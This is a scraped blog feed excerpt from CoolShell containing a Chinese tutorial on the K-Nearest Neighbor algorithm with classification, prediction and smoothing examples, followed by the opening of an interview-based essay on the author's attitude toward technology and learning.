总体来说KNN算法是相对比较容易理解的算法。其中的K表示最接近自己的K个数据样本。KNN算法和<a title=\"K-Means 算法\" href=\"https://coolshell.cn/articles/7779.html\" target=\"_blank\">K-Means算法</a>不同的是，K-Means算法用来聚类，用来判断哪些东西是一个比较相近的类型，而KNN算法是用来做归类的，也就是说，有一个样本空间里的样本分成很几个类型，然后，给定一个待分类的数据，通过计算接近自己最近的K个样本来判断这个待分类数据属于哪个分类。<strong>你可以简单的理解为由那离自己最近的K个点来投票决定待分类数据归为哪一类</strong>。</p>\n<p style=\"text-align: left;\">Wikipedia上的<a href=\"http://en.wikipedia.org/wiki/K-nearest_neighbor_algorithm\" target=\"_blank\">KNN词条</a>中有一个比较经典的图如下：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-8053 aligncenter\" title=\"KNN Classification\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/220px-KnnClassification.svg_.png\" alt=\"\" width=\"220\" height=\"199\" /></p>\n<p style=\"text-align: left;\">从上图中我们可以看到，图中的有两个类型的样本数据，一类是蓝色的正方形，另一类是红色的三角形。而那个绿色的圆形是我们待分类的数据。</p>\n<ul>\n<li>如果K=3，那么离绿色点最近的有2个红色三角形和1个蓝色的正方形，这3个点投票，于是绿色的这个待分类点属于红色的三角形。</li>\n</ul>\n<ul>\n<li>如果K=5，那么离绿色点最近的有2个红色三角形和3个蓝色的正方形，这5个点投票，于是绿色的这个待分类点属于蓝色的正方形。</li>\n</ul>\n<p>我们可以看到，机器学习的本质——<strong>是基于一种数据统计的方法</strong>！那么，这个算法有什么用呢？我们来看几个示例。</p>\n<p><span id=\"more-8052\"></span></p>\n<h4>产品质量判断</h4>\n<p>假设我们需要判断纸巾的品质好坏，纸巾的品质好坏可以抽像出两个向量，一个是“酸腐蚀的时间”，一个是“能承受的压强”。如果我们的样本空间如下：（所谓样本空间，又叫Training Data，也就是用于机器学习的数据）</p>\n<table style=\"margin: auto;\" border=\"1\" cellspacing=\"3\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\"><strong>向量X1</strong></p>\n<p align=\"center\"><strong>耐酸时间（秒）</strong></p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\"><strong>向量X2</strong></p>\n<p align=\"center\"><strong>圧强(公斤/平方米)</strong></p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\"><strong>品质Y</strong></p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">坏</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">坏</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">3</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">好</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">1</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">好</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p>那么，如果 X1 = 3 和 X2 = 7， 这个毛巾的品质是什么呢？这里就可以用到KNN算法来判断了。</p>\n<p>假设K=3，K应该是一个奇数，这样可以保证不会有平票，下面是我们计算（3，7）到所有点的距离。（关于那些距离公式，可以参看<a title=\"K-Means 算法\" href=\"https://coolshell.cn/articles/7779.html\" target=\"_blank\">K-Means算法中的距离公式</a>）</p>\n<table style=\"margin: auto;\" border=\"1\" cellspacing=\"3\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong>向量X1</strong></p>\n<p align=\"center\"><strong>耐酸时间（秒）</strong></p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong>向量X2</strong></p>\n<p align=\"center\"><strong>圧强(公斤/平方米)</strong></p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong>计算到 (3, 7)的距离</strong></p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong>向量Y</strong></p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_Numerical-example_clip_image004.gif\" alt=\"\" width=\"144\" height=\"24\" /></strong></p>\n</td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"25%\"> 坏</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_Numerical-example_clip_image006.gif\" alt=\"\" width=\"145\" height=\"24\" /></strong></p>\n</td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"25%\"> N/A</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">3</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_Numerical-example_clip_image008.gif\" alt=\"\" width=\"136\" height=\"24\" /></strong></p>\n</td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"25%\"> 好</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">1</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_Numerical-example_clip_image010.gif\" alt=\"\" width=\"140\" height=\"24\" /></strong></p>\n</td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"25%\"> 好</td>\n</tr>\n</tbody>\n</table>\n<p>所以，最后的投票，好的有2票，坏的有1票，最终需要测试的（3，7）是合格品。（当然，你还可以使用权重——可以把距离值做为权重，越近的权重越大，这样可能会更准确一些）</p>\n<p><strong>注：<a href=\"http://people.revoledu.com/kardi/tutorial/KNN/KNN_Numerical-example.html\" target=\"_blank\">示例来自这里</a>，<a href=\"https://coolshell.cn/wp-content/uploads/2012/08/K-NearestNeighbors.xls\">K-NearestNeighbors Excel表格下载</a></strong></p>\n<h4>预测</h4>\n<p>假设我们有下面一组数据，假设X是流逝的秒数，Y值是随时间变换的一个数值（你可以想像是股票值）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"KNN_TimeSeries_clip_image004\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image004.jpg\" alt=\"\" width=\"191\" height=\"187\" /></p>\n<p>那么，当时间是6.5秒的时候，Y值会是多少呢？我们可以用KNN算法来预测之。</p>\n<p>这里，让我们假设K=2，于是我们可以计算所有X点到6.5的距离，如：X=5.1，距离是 | 6.5 – 5.1 | = 1.4， X = 1.2 那么距离是 | 6.5 – 1.2 | = 5.3 。于是我们得到下面的表：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"KNN_TimeSeries_clip_image006\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image006.jpg\" alt=\"\" width=\"312\" height=\"120\" /></p>\n<p>注意，上图中因为K=2，所以得到X=4 和 X =5.1的点最近，得到的Y的值分别为27和8，在这种情况下，我们可以简单的使用平均值来计算：<img decoding=\"async\" loading=\"lazy\" title=\"KNN_TimeSeries_clip_image008\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image008.gif\" alt=\"\" width=\"87\" height=\"41\" /></p>\n<p>于是，最终预测的数值为：17.5</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8072\" title=\"KNN_TimeSeries_clip_image010\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image010.jpg\" alt=\"\" width=\"402\" height=\"305\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image010.jpg 402w, https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image010-300x227.jpg 300w\" sizes=\"(max-width: 402px) 100vw, 402px\" /></p>\n<p><strong>注：<a href=\"http://people.revoledu.com/kardi/tutorial/KNN/KNN_TimeSeries.htm\" target=\"_blank\">示例来自这里</a>，<a href=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries.xls\">KNN_TimeSeries Excel表格下载</a></strong></p>\n<h4>插值，平滑曲线</h4>\n<p>KNN算法还可以用来做平滑曲线用，这个用法比较另类。假如我们的样本数据如下（和上面的一样）：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"KNN_TimeSeries_clip_image012\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image012.jpg\" alt=\"\" width=\"335\" height=\"35\" /></p>\n<p>要平滑这些点，我们需要在其中插入一些值，比如我们用步长为0.1开始插值，从0到6开始，计算到所有X点的距离（绝对值），下图给出了从0到0.5 的数据：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8074\" title=\"KNN_TimeSeries_clip_image014\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image014.jpg\" alt=\"\" width=\"334\" height=\"152\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image014.jpg 334w, https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image014-300x136.jpg 300w\" sizes=\"(max-width: 334px) 100vw, 334px\" /></p>\n<p>下图给出了从2.5到3.5插入的11个值，然后计算他们到各个X的距离，假值K=4，那么我们就用最近4个X的Y值，然后求平均值，得到下面的表：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"KNN_TimeSeries_clip_image016\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image016.jpg\" alt=\"\" width=\"576\" height=\"206\" /></p>\n<p>于是可以从0.0, 0.1, 0.2, 0.3 &#8230;. 1.1, 1.2, 1.3&#8230;..3.1, 3.2&#8230;..5.8, 5.9, 6.0 一个大表，跟据K的取值不同，得到下面的图：</p>\n<table style=\"border: 0px; margin: auto;\">\n<tbody>\n<tr>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8080\" title=\"KNN_TimeSeries_clip_image026\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image026.jpg\" alt=\"\" width=\"262\" height=\"246\" /></td>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8079\" title=\"KNN_TimeSeries_clip_image024\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image024.jpg\" alt=\"\" width=\"270\" height=\"249\" /></td>\n</tr>\n<tr>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8078\" title=\"KNN_TimeSeries_clip_image022\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image022.jpg\" alt=\"\" width=\"262\" height=\"244\" /></td>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8077\" title=\"KNN_TimeSeries_clip_image020\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image020.jpg\" alt=\"\" width=\"251\" height=\"234\" /></td>\n</tr>\n<tr>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8076\" title=\"KNN_TimeSeries_clip_image018\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries_clip_image018.jpg\" alt=\"\" width=\"246\" height=\"228\" /></td>\n</tr>\n</tbody>\n</table>\n<p><strong>注：<a href=\"http://people.revoledu.com/kardi/tutorial/KNN/KNN_TimeSeries.htm\" target=\"_blank\">示例来自这里</a>，<a href=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_Smoothing.xls\">KNN_Smoothing Excel表格下载</a></strong></p>\n<h4>后记</h4>\n<p>最后，我想再多说两个事，</p>\n<p>1） 一个是机器学习，算法基本上都比较简单，最难的是数学建模，把那些业务中的特性抽象成向量的过程，另一个是选取适合模型的数据样本。这两个事都不是简单的事。算法反而是比较简单的事。</p>\n<p>2）对于KNN算法中找到离自己最近的K个点，是一个很经典的算法面试题，需要使用到的数据结构是“<a href=\"http://en.wikipedia.org/wiki/Binary_heap\" target=\"_blank\">最大堆——Max Heap</a>”，一种二叉树。你可以看看相关的算法。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7779.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/K-Means-150x150.gif\" alt=\"K-Means 算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7779.html\" class=\"wp_rp_title\">K-Means 算法</a></li><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" alt=\"二维码的生成细节和原理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_title\">二维码的生成细节和原理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8052.html\">K Nearest Neighbor 算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8052.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>51</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>对技术的态度</title>\n\t\t<link>https://coolshell.cn/articles/8088.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8088.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 16 Aug 2012 15:50:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8088</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近人品爆发，图灵社区，InfoQ，51CTO相继对我做了采访，前两天我把InfoQ对我的采访张贴了出来，今天，图灵社区和51CTO对我的采访发布了（图灵的访谈...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8088.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>最近人品爆发，图灵社区，InfoQ，51CTO相继对我做了采访，前两天我把<a title=\"InfoQ的ArchSummit大会对我的采访\" href=\"https://coolshell.cn/articles/8031.html\" target=\"_blank\">InfoQ对我的采访张贴了出来</a>，今天，图灵社区和51CTO对我的采访发布了（<a title=\"图灵访谈之三十二：我的精神家园——陈皓（@左耳朵耗子）专访\" href=\"http://www.ituring.com.cn/article/9174\" target=\"_blank\">图灵的访谈</a> ，<a title=\"专访陈皓：有关带队、沟通、成长与变化\" href=\"http://developer.51cto.com/art/201208/353256.htm\" target=\"_blank\">51CTO的访谈</a>），我是一个有技术焦虑症的人，我的经历比较特殊，对大家来说可能也没有什么意思，这两个采都有一些重叠的部分，不过有些观点我想再加强一些，并放在这里和大家一起分享一下。</p>\n<h4>对于日新月异的新技术，你是什么态度？</h4>\n<p>遇到新技术我会去了解，但不会把很大的精力放在这些技术（如：NoSQL，Node.js，等）。这些技术尚不成熟，只需要跟得住就可以了。技术十年以上可能是一个门槛。有人说技术更新换代很快，我一点儿都不觉得是这样想。虽然有不成熟的技术不断地涌出，但是成熟的技术，比如Unix，40多年，C，40多年，C++，30多年，TCP/IP，20多年，Java也有将近20年了……，所以，如果你着眼成熟的技术，其实并不多。</p>\n<p>我的观点是——<strong>要了解技术就一定需要了解整个计算机的技术历史发展和进化路线。</strong>（这个观点，我在《<a title=\"程序员技术练级攻略\" href=\"https://coolshell.cn/articles/4990.html\" target=\"_blank\">程序员练级攻略</a>》和《<a title=\"C++的坑真的多吗？\" href=\"https://coolshell.cn/articles/7992.html\" target=\"_blank\">C++的坑多吗？</a>》中提到过多次了。）因为，<strong>你要朝着球运动的轨迹去，而不是朝着球的位置去，要知道球的运动轨迹，你就需要知道它历史上是怎么跑的</strong>。</p>\n<p>如果要捋一个技术的脉络，70年代Unix的出现，是软件发展方面的一个里程碑，那个时期的C语言，也是语言方面的里程碑。（当时）所有的项目都在Unix/C上，全世界人都在用这两样东西写软件。Linux跟随的是Unix, Windows下的开发也是 C/C++。这时候出现的C++很自然就被大家接受了，企业级的系统很自然就会迁移到这上面，C++虽然接过了C的接力棒，但是它的问题是它没有一个企业方面的架构，而且太随意了，否则也不会有今天的Java。C++和C非常接近，它只不过是C的一个扩展，长年没有一个企业架构的框架。而Java在被发明后，被IBM把企业架构这部分的需求接了过来，J2EE的出现让C/C++捉襟见肘了，在语言进化上，还有Python/Ruby，后面还有了.NET，但可惜的是这只局限在Windows平台上。这些就是企业级软件方面语言层面就是C -&gt; C++ -&gt; Java这条主干，操作系统是Unix -&gt; Linux/Windows这条主干，软件开发中需要了解的网络知识就是Ethernet -&gt; IP -&gt; TCP/UDP 这条主干。另外一条脉络就是互联网方面的（HTML/CSS/JS/LAMP…）。我是一个有技术忧虑症的人，这几条软件开发的主线一定不能放弃。</p>\n<p>另外，从架构上来说，我们可以看到，</p>\n<p><span id=\"more-8088\"></span></p>\n<ul>\n<li>从单机的年代，到C/S架构（界面，业务逻辑，数据SQL都在Client上，只有数据库服库在S上）</li>\n<li>再到B/S结构（用浏览器来充当Client，但是传统的ASP/PHP/JSP/Perl/CGI这样的编程也都把界面，业务逻辑，和SQL都放在一起），但是B/S已经把这些东西放到了Web Server上，</li>\n<li>再到后来的中间件，把业务逻辑再抽出一层，放到一个叫App Server上，经典的三层结构。</li>\n<li>然后再到分布式结构，业务层分布式，数据层分布式。</li>\n<li>再到今天的云架构——全部移到服务器。</li>\n</ul>\n<div>我们可以看到技术的变迁都一直再把东西往后端移，前端只剩一个浏览器或是一个手机。通过这个你可以看到整个技术发展的趋势。所以，如果你了解了这些变迁，了解了这些变迁过程“不断填坑”的过程，你将会对技术有很强的把握。</div>\n<p>另外，我听到有很多人说，一些技术不适用，一些技术太学院派，但对我来说，无论是应用还是学术，我都会看，知识不愁多。何必搞应用的和搞学术的分开阵营，都是知识，学就好了。</p>\n<p>技术的发展要根植于历史，而不是未来。不要和我描述这个技术的未来会多么美好（InfoQ 的 ArchSummit大会上有一个微软来的人把Node.js说得跟仙女一样，然后给了一个Hello World），我承认你用一些新的技术可以实现很多花哨的东西。但是，我认为技术都是承前的，只有承前的才会常青。所以说“某某（技术）要火”这样的话是没有意义的，等它火了、应用多了，规模大了，再说。有些人说：“不学C/C++也是没有问题的”，我对此的回应是：<strong>如果连技术主干都可以不学的话，还有什么其他的好学呢？这些是计算机发展的根、脉络、祖师爷，这样的东西怎么可以不学呢？</strong></p>\n<p><strong></strong>另外，我们要去了解整个计算机文化，我觉得计算机文化源起于Unix/C这条线上（注意，我说的是文化不是技术）。我也写过很多与Unix文化相关的文章，大家可以看看我写的“<a title=\"Unix传奇(上篇)\" href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">Unix传奇</a>（<a title=\"Unix传奇(下篇)\" href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">尤其是下篇</a>）”。</p>\n<h4>可是在应用环境中，对新技术的需求是很高的，你觉得在教育领域计算机科学的侧重应该是什么样的？</h4>\n<p>学校教的大部分都是知识密集型的技术，但是社会上的企业大部分都是劳动密集型的。什么是劳动密集型的企业呢？麦当劳炸薯条就是劳动密集型的工作，用不到学校教授的那些知识。如果有一天你不炸薯条了，而要去做更大更专业的东西，学校里的知识就会派上用场。有人说一个语言、一个技术，能解决问题能用就行了，我不这样认为。<strong>我觉得你应该至少要知道这些演变和进化的过程。而如果你要解决一些业务和技术难题，就需要抓住某种技术很深入地学习，当成艺术一样来学习。</strong></p>\n<p>我在“<a title=\"软件开发的“三重门”\" href=\"https://coolshell.cn/articles/6526.html\" target=\"_blank\">软件开发‘三重门’</a>”里说过，第一重门是业务功能，在这重门里，的确是会编程就可以了；第二重门是业务性能，在这一重门里，技术的基础就很管用了，比如：操作系统的文件管理，进程调度，内存管理，网络的七层模型，TCP/<del>UCP</del>UDP的协议，语言用法、编译和类库的实现，数据结构，算法等等就非常关键了；第三重门是业务智能，在这一重门里，你会发现很多东西都很学院派了，比如，搜索算法，推荐算法，预测，统计，机器学习，图像识别，分布式架构和算法，等等，你需要读很多计算机学院派的论文。</p>\n<p>总之，这主要看你职业生涯的背景了，如果你整天被当作劳动力来使用，你用到的技术就比较浅，比较实用，但是如果你做一些知识密集型的工作，你就需要用心来搞搞研究，就会发现你需要理论上的知识。比如说，我之前做过的跨国库存调配，需要知道最短路径的算法，而我现在在亚马逊做的库存预测系统，数据挖掘的那些东西都需要很强的数学建模、算法、数据挖掘的功底。</p>\n<p>我觉得真正的高手都来自知识密集型的学院派。他们更强的是，可以把那些理论的基础知识应用到现在的业务上来。但很可惜，<strong>我们国内今天的教育并没有很好地把那些学院派的理论知识和现实的业务问题很好地接合起来。</strong>比如说一些哈希表或二叉树的数据结构，如果我们的学校在讲述这些知识的时候能够接合实际的业务问题，效果会非常不错，如：设计一个IP地址和地理位置的查询系统，设计一个分布式的NoSQL的数据库，或是设计一个地理位置的检索应用等等。在学习操作系统的时候，如果老师可以带学生做一个手机或嵌入式操作系统，或是研究一下Unix System V或是Linux的源码的话，会更有意思。在学习网络知识的时候，能带学生重点学一下以太网和TCP/IP的特性，并调优，如果能做一个网络上的pub/sub的消息系统或是做一个像Nginx一样的web server，那会更好。如果在学图形学的过程中能带领学生实践一个作图工具或是一个游戏引擎，那会更有意思。</p>\n<p>总之，我们的教育和现实脱节太严重了，教的东西无论是在技术还是在实践上都严重落后和脱节，没有通过实际的业务或技术问题来教学生那些理论知识，这是一个失败。</p>\n<h4><strong>那么，现在做一个软件开发者是否更加困难了？</strong></h4>\n<p>我觉得倒不是。做一个软件开发者更简单了。因为现在互联网很发达，你可以找到很多共享的知识——相对于我那个时候。第一，知识你容易查到，然后社区很多，文章、分享的人也越来越多。我们那个时候没有的。上网一查，什么都没有。都得去自己琢磨，自己去调查。所以我觉得相比我们那个时候更容易了。第二，工具变多了。现在的工具比那个时候好用多了。我们那个时候就是一天到晚在vi里面，连个自动提示都没有，连个版本库管理都没有。不光工具变多，框架也多了，各种各样的编程框架。我们那时候都是生写。写JavaScript，生写，连个jQuery都没有。没有这些辅助性的、让你提高生产力的东西。J2EE那时候也没有。而且整个（开发环境）都很不成熟。一个服务器的最高配置就1GB的情况下，一个WebSphere起来就占了900多MB——这还能跑什么应用？所以只能去用最基础的系统。所以我觉得现在，无论是环境，还是开发的过程，都更规范了。以前我做开发的时候就是，什么都不懂就上了，瞎搞，没有什么开发规范，没有人理你，反正你搞得好就搞好，搞不好就搞不好了，全靠自己，包括做测试维护等等。我觉得现在的软件开发就很好，你一上去，就有好的工具，有好的知识库，有好的社区，有好的开发框架，还有好的流程，方法，甚至还有人帮你做测试，还有人告诉你应该怎么做。幸福得很。现在好多人还说这个不好那个不好，开发难什么的。其实容易多了。</p>\n<p>但是，有个东西我觉得是现在的软件开发者比我们那时候变得更难的。就是，你享福了以后，人就变懒，变娇气了。对很多东西的抱怨就开始多了。我们那个时候哪有什么好抱怨的？没啥好抱怨的，有活就干，有东西学就赶快学。现在呢，学个什么东西还挑挑拣拣的，抱怨这个语言太扯，那个IDE不好，这个框架太差，版本管理工具太扯，等等。<strong>这就好像以前我没东西吃，只有个糠吃，要是有面包有馒头，我就觉得非常非常好了。现在是，好吃的东西多了我们还学会挑食了，这也不好用，那也不好用</strong>。</p>\n<p>根本就不是技术变难了，环境变差了，是程序员变娇气了。所以软件开发变难，归根结底还是程序员们自己变娇气了。</p>\n<h4>你如何在进度压力下，享受技术带来的快乐？</h4>\n<p>中国人中庸的思想，入世和出世，每天的工作就是入世。举个例子，我十年前在上海的时候，给交通银行做项目的时候，每周休息一天，早九点到晚十点，每天工作12个小时，这样的工作持续了一整年，没有节假日，项目上的技术也没什么意思。当时我晚上十点回到住处，还想学一些C++/Java和Unix/Windows的技术，于是就看书到晚上11:30，每天如此，一年下来学到很多东西，时间没有荒废，心里就很开心。<strong>我觉得当时是快乐的，因为有成长的感觉是快乐的。</strong></p>\n<p>现在的我，工作、写博客、养孩子，事情其实更多。我早上7:30起床，会浏览一下国外的新闻，hacker news, tech church, reddit, 